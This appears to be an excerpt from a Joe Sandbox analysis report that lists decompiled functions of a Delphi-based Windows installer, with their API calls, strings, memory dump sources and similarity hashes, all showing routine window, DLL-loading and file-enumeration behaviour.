GetClassInfoA.USER32(00400000,00423674), ref: 00423897
RegisterClassA.USER32(00499630), ref: 004238AF
GetSystemMetrics.USER32(00000000), ref: 004238D1
GetSystemMetrics.USER32(00000001), ref: 004238E0
SetWindowLongA.USER32(00410648,000000FC,00423684), ref: 0042393C
SendMessageA.USER32(00410648,00000080,00000001,00000000), ref: 0042395D
GetSystemMenu.USER32(00410648,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C04,0041ED9C), ref: 00423968
DeleteMenu.USER32(00000000,0000F030,00000000,00410648,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C04,0041ED9C), ref: 00423977
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,00410648,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00423984
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,00410648,00000000,00000000,00400000,00000000,00000000,00000000), ref: 0042399A

Strings

t6B, xrefs: 0042388B, 0042390C

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
String ID: t6B
API String ID: 183575631-3178735703
Opcode ID: 5827b0b13dbe7130606d895180cc1450c2f1a68b369bd82c96e4222b10ed1bb4
Instruction ID: b8adc5bb76ba60810a7e15457cf144511173abf09441cb7f9a8677178c11600e
Opcode Fuzzy Hash: 5827b0b13dbe7130606d895180cc1450c2f1a68b369bd82c96e4222b10ed1bb4
Instruction Fuzzy Hash: 003150B17402006AE710BF699C82F6A37989B14709F60017AFA44EF2D7C6BDED44876D

Function 0047C65C Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(6FBF0000,SHGetFolderPathA), ref: 0047C75E

Strings

Failed to load DLL "%s", xrefs: 0047C741
shfolder.dll, xrefs: 0047C6C1, 0047C6FA
_isetup\_shfoldr.dll, xrefs: 0047C68E
Failed to get address of SHGetFolderPath function, xrefs: 0047C76F
shell32.dll, xrefs: 0047C709
imI, xrefs: 0047C73C
Failed to get version numbers of _shfoldr.dll, xrefs: 0047C6B4
SHGetFolderPathA, xrefs: 0047C753
SHFOLDERDLL, xrefs: 0047C69B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address of SHGetFolderPath function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$_isetup\_shfoldr.dll$imI$shell32.dll$shfolder.dll
API String ID: 190572456-2091577475
Opcode ID: d288e8e16deffb628a1a36f0e60e66c1c4d1894b7e7b0e008bed83d76a7a8b95
Instruction ID: 1bc5907ccbf8c7c126ff73efdb0a93079a3df87e782a300c574b3872d81dfa42
Opcode Fuzzy Hash: d288e8e16deffb628a1a36f0e60e66c1c4d1894b7e7b0e008bed83d76a7a8b95
Instruction Fuzzy Hash: BF311D30A00149DBCB00EFA9D9D29DEB7B5EB44305F61847BE404E7241DB389E45CBAD

Function 0040631C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,004980CC), ref: 00406322
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,004980CC), ref: 00406366

Strings

SetDllDirectoryW, xrefs: 00406329
SetSearchPathMode, xrefs: 0040633F
kernel32.dll, xrefs: 0040631D
SetProcessDEPPolicy, xrefs: 00406355

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$HandleModulePolicyProcess
String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
API String ID: 3256987805-3653653586
Opcode ID: 46e9f49e023cd011afba093bed0ab82df2a9fb2f70a8bbd92ca42cf1d07dc1dc
Instruction ID: 935c6a5f7b98c90e27654dc67135d8c1f882d2ad5d8c1b9d0efaf55941893a49
Opcode Fuzzy Hash: 46e9f49e023cd011afba093bed0ab82df2a9fb2f70a8bbd92ca42cf1d07dc1dc
Instruction Fuzzy Hash: 97E02D90380702ACEA1032B20D82F3B144C9B54B69B26543B7D56B51C7D9BDDD7059BD

Function 00413213 Relevance: 14.6, APIs: 6, Strings: 2, Instructions: 635COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 0041365C
GetWindowLongA.USER32(?,000000F0), ref: 00413667
GetWindowLongA.USER32(?,000000F4), ref: 00413679
SetWindowLongA.USER32(?,000000F4,?), ref: 0041368C
SetPropA.USER32(?,00000000,00000000), ref: 004136A3
SetPropA.USER32(?,00000000,00000000), ref: 004136BA

Strings

wA, xrefs: 004132CE
yA, xrefs: 004132DA

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: LongWindow$Prop
String ID: wA$yA
API String ID: 3887896539-1847240991
Opcode ID: f90247c629a947c585d53ebd803f71ac5ff518e129def1d5e0d2b734115b4926
Instruction ID: c74ba7ed2530cb1b13d42f77b59a1a0282e776654e1e26cace8cc99fbade548e
Opcode Fuzzy Hash: f90247c629a947c585d53ebd803f71ac5ff518e129def1d5e0d2b734115b4926
Instruction Fuzzy Hash: E922D06108E3C05FE3279B74896A5D17FA0EE23326B1D45DFC4C28B1A3D61D8A87C71A

Function 0042F558 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 90
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 0042F587
GetFocus.USER32 ref: 0042F58F
RegisterClassA.USER32(004997AC), ref: 0042F5B0
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,0042F684,88000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0042F5EE
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000), ref: 0042F634
ShowWindow.USER32(00000000,00000008,00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000,00000000,TWindowDisabler-Window), ref: 0042F645
SetFocus.USER32(00000000,00000000,0042F667,?,?,?,00000001,00000000,?,00458172,00000000,0049B628), ref: 0042F64C

Strings

TWindowDisabler-Window, xrefs: 0042F5E7, 0042F62D

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$CreateFocus$ActiveClassRegisterShow
String ID: TWindowDisabler-Window
API String ID: 3167913817-1824977358
Opcode ID: cf20678f2c7b31b6636adb6e359071d3d006b90a76df8335edf94e9f5e6a866f
Instruction ID: 4511064fd05a7bbda13c40d4eeb951e72c3c37d4b9ac5deb9698ad8496ae2c71
Opcode Fuzzy Hash: cf20678f2c7b31b6636adb6e359071d3d006b90a76df8335edf94e9f5e6a866f
Instruction Fuzzy Hash: B621A171740710BAE220EF61AD43F1A76B8EB14B04F91453BF504AB2E1D7B9AD0586AD

Function 004531C4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0045325D,?,?,?,?,00000000,?,00498112), ref: 004531E4
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004531EA
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0045325D,?,?,?,?,00000000,?,00498112), ref: 004531FE
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453204

Strings

shell32.dll, xrefs: 00453230
kernel32.dll, xrefs: 004531DF, 004531F9
Wow64RevertWow64FsRedirection, xrefs: 004531F4
Wow64DisableWow64FsRedirection, xrefs: 004531DA

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: cff16269528c733e120fa4e5da7181aa43c1feff678136145baf2a5753302424
Instruction ID: 97fdcfa8d8ba184edd095c4085c6b9ff9a8965db98d5396ade8c15ee503d7826
Opcode Fuzzy Hash: cff16269528c733e120fa4e5da7181aa43c1feff678136145baf2a5753302424
Instruction Fuzzy Hash: 5D018870244B05AED701BF73AD02F5A7A58DB0579BF5004BBF81496183D77C4A08CAAD

Function 00466FA8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 0046704B
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00467071

Part of subcall function 00466EE8: DrawIconEx.USER32(00000000,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000003), ref: 00466F80
Part of subcall function 00466EE8: DestroyCursor.USER32(00000000), ref: 00466F96

ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 004670C8
SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00467129
ExtractIconA.SHELL32(00400000,00000000,?), ref: 0046714F

Strings

c:\directory, xrefs: 00467046
shell32.dll, xrefs: 004670AC

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Icon$Extract$FileInfo$CursorDestroyDraw
String ID: c:\directory$shell32.dll
API String ID: 3376378930-1375355148
Opcode ID: 996b1765118ede8ef69c1a99999a79d5e00ae09db6322347ba6ec5c8e15e0822
Instruction ID: 289419416c676a83544b633f3186a9d007cfc28e75d1c6b72818de0571a1fc75
Opcode Fuzzy Hash: 996b1765118ede8ef69c1a99999a79d5e00ae09db6322347ba6ec5c8e15e0822
Instruction Fuzzy Hash: ED515E74604244AFDB11DF65DD85FCFB7A8EB49308F5081B7F40897352D638AE81CA59

Function 00430938 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 23registryclipboardthreadCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatA.USER32(commdlg_help), ref: 00430940
RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 0043094F
GetCurrentThreadId.KERNEL32 ref: 00430969
GlobalAddAtomA.KERNEL32(00000000), ref: 0043098A

Strings

WndProcPtr%.8X%.8X, xrefs: 0043097B
commdlg_help, xrefs: 0043093B
commdlg_FindReplace, xrefs: 0043094A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
API String ID: 4130936913-2943970505
Opcode ID: 4892df4f2f1e0b4b8a599102644a6dba2176c7c95c36211ef141ed36876d8ea1
Instruction ID: fc358bcdd7e5b0606a48ee3fdcf498d476493da3f5408fce691eb0e46a0d48ea
Opcode Fuzzy Hash: 4892df4f2f1e0b4b8a599102644a6dba2176c7c95c36211ef141ed36876d8ea1
Instruction Fuzzy Hash: D0F082B04583409AE300EB25994271E77D0EF58318F10463FF898A6392D7385900CB6F

Function 00454FE4 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 154COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,00455200,00455200,?,00455200,00000000), ref: 0045518E
CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,00455200,00455200,?,00455200), ref: 0045519B

Part of subcall function 00454F50: WaitForInputIdle.USER32(?,00000032), ref: 00454F7C
Part of subcall function 00454F50: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454F9E
Part of subcall function 00454F50: GetExitCodeProcess.KERNEL32(?,?), ref: 00454FAD
Part of subcall function 00454F50: CloseHandle.KERNEL32(?,00454FDA,00454FD3,?,?,?,00000000,?,?,004551AF,?,?,?,00000044,00000000,00000000), ref: 00454FCD

Strings

cmd.exe" /C ", xrefs: 004550C1
COMMAND.COM" /C , xrefs: 004550F8
D, xrefs: 0045512C
.bat, xrefs: 00455074
.cmd, xrefs: 0045508F

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
API String ID: 854858120-615399546
Opcode ID: 5266c0f0ad6ebbe9230572b3dbc1c9029306f1427952ad7447b96826cd76bb62
Instruction ID: 453c4c1e4331516b603b6bd36f4112f8bfb414d7ddeab97af99533fe31520792
Opcode Fuzzy Hash: 5266c0f0ad6ebbe9230572b3dbc1c9029306f1427952ad7447b96826cd76bb62
Instruction Fuzzy Hash: 7A516C34B0074D6BDB11EF95C852BEEBBB9AF44305F50407BB804B7293D7789A098B59

Function 00423684 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96windowCOMMON

Download Yara Rule

APIs

LoadIconA.USER32(00400000,MAINICON), ref: 00423714
GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FDE,00000000,?,?,?,00000001), ref: 00423741
OemToCharA.USER32(?,?), ref: 00423754
CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FDE,00000000,?,?,?,00000001), ref: 00423794

Strings

MAINICON, xrefs: 00423709
2, xrefs: 004236E2

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: 2$MAINICON
API String ID: 3935243913-3181700818
Opcode ID: 0a58a7a63c51e6fb41ef8ab53b8ad398b79f83c4c9e9ca8a59e3f0dc4f1d370f
Instruction ID: 89b1690b288838b812280c83b83aa3621e89473e571b5a361368100100c68adf
Opcode Fuzzy Hash: 0a58a7a63c51e6fb41ef8ab53b8ad398b79f83c4c9e9ca8a59e3f0dc4f1d370f
Instruction Fuzzy Hash: BD31D570A042559ADB10EF69C8C57CA3BE89F14308F4441BAE844DB383D7BED988CB59

Function 00418F30 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000), ref: 00418F35
GlobalAddAtomA.KERNEL32(00000000), ref: 00418F56
GetCurrentThreadId.KERNEL32 ref: 00418F71
GlobalAddAtomA.KERNEL32(00000000), ref: 00418F92

Part of subcall function 004230C0: 73A1A570.USER32(00000000,?,?,00000000,?,00418FCB,00000000,?,?,?,00000001), ref: 00423116
Part of subcall function 004230C0: EnumFontsA.GDI32(00000000,00000000,00423060,00410648,00000000,?,?,00000000,?,00418FCB,00000000,?,?,?,00000001), ref: 00423129
Part of subcall function 004230C0: 73A24620.GDI32(00000000,0000005A,00000000,00000000,00423060,00410648,00000000,?,?,00000000,?,00418FCB,00000000), ref: 00423131
Part of subcall function 004230C0: 73A1A480.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00423060,00410648,00000000,?,?,00000000,?,00418FCB,00000000), ref: 0042313C

Part of subcall function 00423684: LoadIconA.USER32(00400000,MAINICON), ref: 00423714
Part of subcall function 00423684: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FDE,00000000,?,?,?,00000001), ref: 00423741
Part of subcall function 00423684: OemToCharA.USER32(?,?), ref: 00423754
Part of subcall function 00423684: CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FDE,00000000,?,?,?,00000001), ref: 00423794

Part of subcall function 0041F110: GetVersion.KERNEL32(?,00418FE8,00000000,?,?,?,00000001), ref: 0041F11E
Part of subcall function 0041F110: SetErrorMode.KERNEL32(00008000,?,00418FE8,00000000,?,?,?,00000001), ref: 0041F13A
Part of subcall function 0041F110: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FE8,00000000,?,?,?,00000001), ref: 0041F146
Part of subcall function 0041F110: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FE8,00000000,?,?,?,00000001), ref: 0041F154
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F184
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1AD
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1C2
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1D7
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1EC
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F201
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F216
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F22B
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F240
Part of subcall function 0041F110: GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F255

Strings

ControlOfs%.8X%.8X, xrefs: 00418F83
Delphi%.8X, xrefs: 00418F47

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$AtomCharCurrentErrorGlobalLoadMode$A24620A480A570EnumFileFontsIconLibraryLowerModuleNameProcessThreadVersion
String ID: ControlOfs%.8X%.8X$Delphi%.8X
API String ID: 3864787166-2767913252
Opcode ID: 4c8bc3a0940144427da5e0ba9ef3ea459de966ceaf526f98a3946975224fbc60
Instruction ID: 27c32735182dabff7e1c09a1de9b3c03b849675df7244bb9ef6d39ac7a5e8d86
Opcode Fuzzy Hash: 4c8bc3a0940144427da5e0ba9ef3ea459de966ceaf526f98a3946975224fbc60
Instruction Fuzzy Hash: 7A11FC70A182409AD704FF66A94275A76E1DB6830CF40853FF448AB391DB39A9458BAF

Function 00413634 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 0041365C
GetWindowLongA.USER32(?,000000F0), ref: 00413667
GetWindowLongA.USER32(?,000000F4), ref: 00413679
SetWindowLongA.USER32(?,000000F4,?), ref: 0041368C
SetPropA.USER32(?,00000000,00000000), ref: 004136A3
SetPropA.USER32(?,00000000,00000000), ref: 004136BA

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: 45c1895276da90ba0030b8fba909c80b6c0b360e03c75fbe878fc1f19dddecee
Instruction ID: 2f0da8c2a639c8e1c6f1513ac1b217b7872104ca576cf6b7b6160f367be9faf8
Opcode Fuzzy Hash: 45c1895276da90ba0030b8fba909c80b6c0b360e03c75fbe878fc1f19dddecee
Instruction Fuzzy Hash: 8C11B775100244BFEF00DF9DDC84EDA37A8EB19364F144666B958DB2A2D738D9908B68

Function 00471F5C Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 263fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0047212D,?,00000000,?,0049C1D0,00000000,004722FB,?,00000000,?,00000000,?,004724C9), ref: 00472109
FindClose.KERNEL32(000000FF,00472134,0047212D,?,00000000,?,0049C1D0,00000000,004722FB,?,00000000,?,00000000,?,004724C9,?), ref: 00472127
FindNextFileA.KERNEL32(000000FF,?,00000000,0047224F,?,00000000,?,0049C1D0,00000000,004722FB,?,00000000,?,00000000,?,004724C9), ref: 0047222B
FindClose.KERNEL32(000000FF,00472256,0047224F,?,00000000,?,0049C1D0,00000000,004722FB,?,00000000,?,00000000,?,004724C9,?), ref: 00472249

Strings

p%G, xrefs: 004722ED, 0047226B, 00472295, 004722A3, 004722BB, 00472282, 00472035, 004720D8, 00472070, 00472087, 00472095, 0047204C, 00472055, 004720DB

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Find$CloseFileNext
String ID: p%G
API String ID: 2066263336-2885399958
Opcode ID: 70dfab7f3f526ba4f6777ec764105aa0072f72fa14368740d0b3654a77d976e0
Instruction ID: c5c343863c2eea904beb919c2ff7085193d8c56025a8159f133c7515c1d415d1
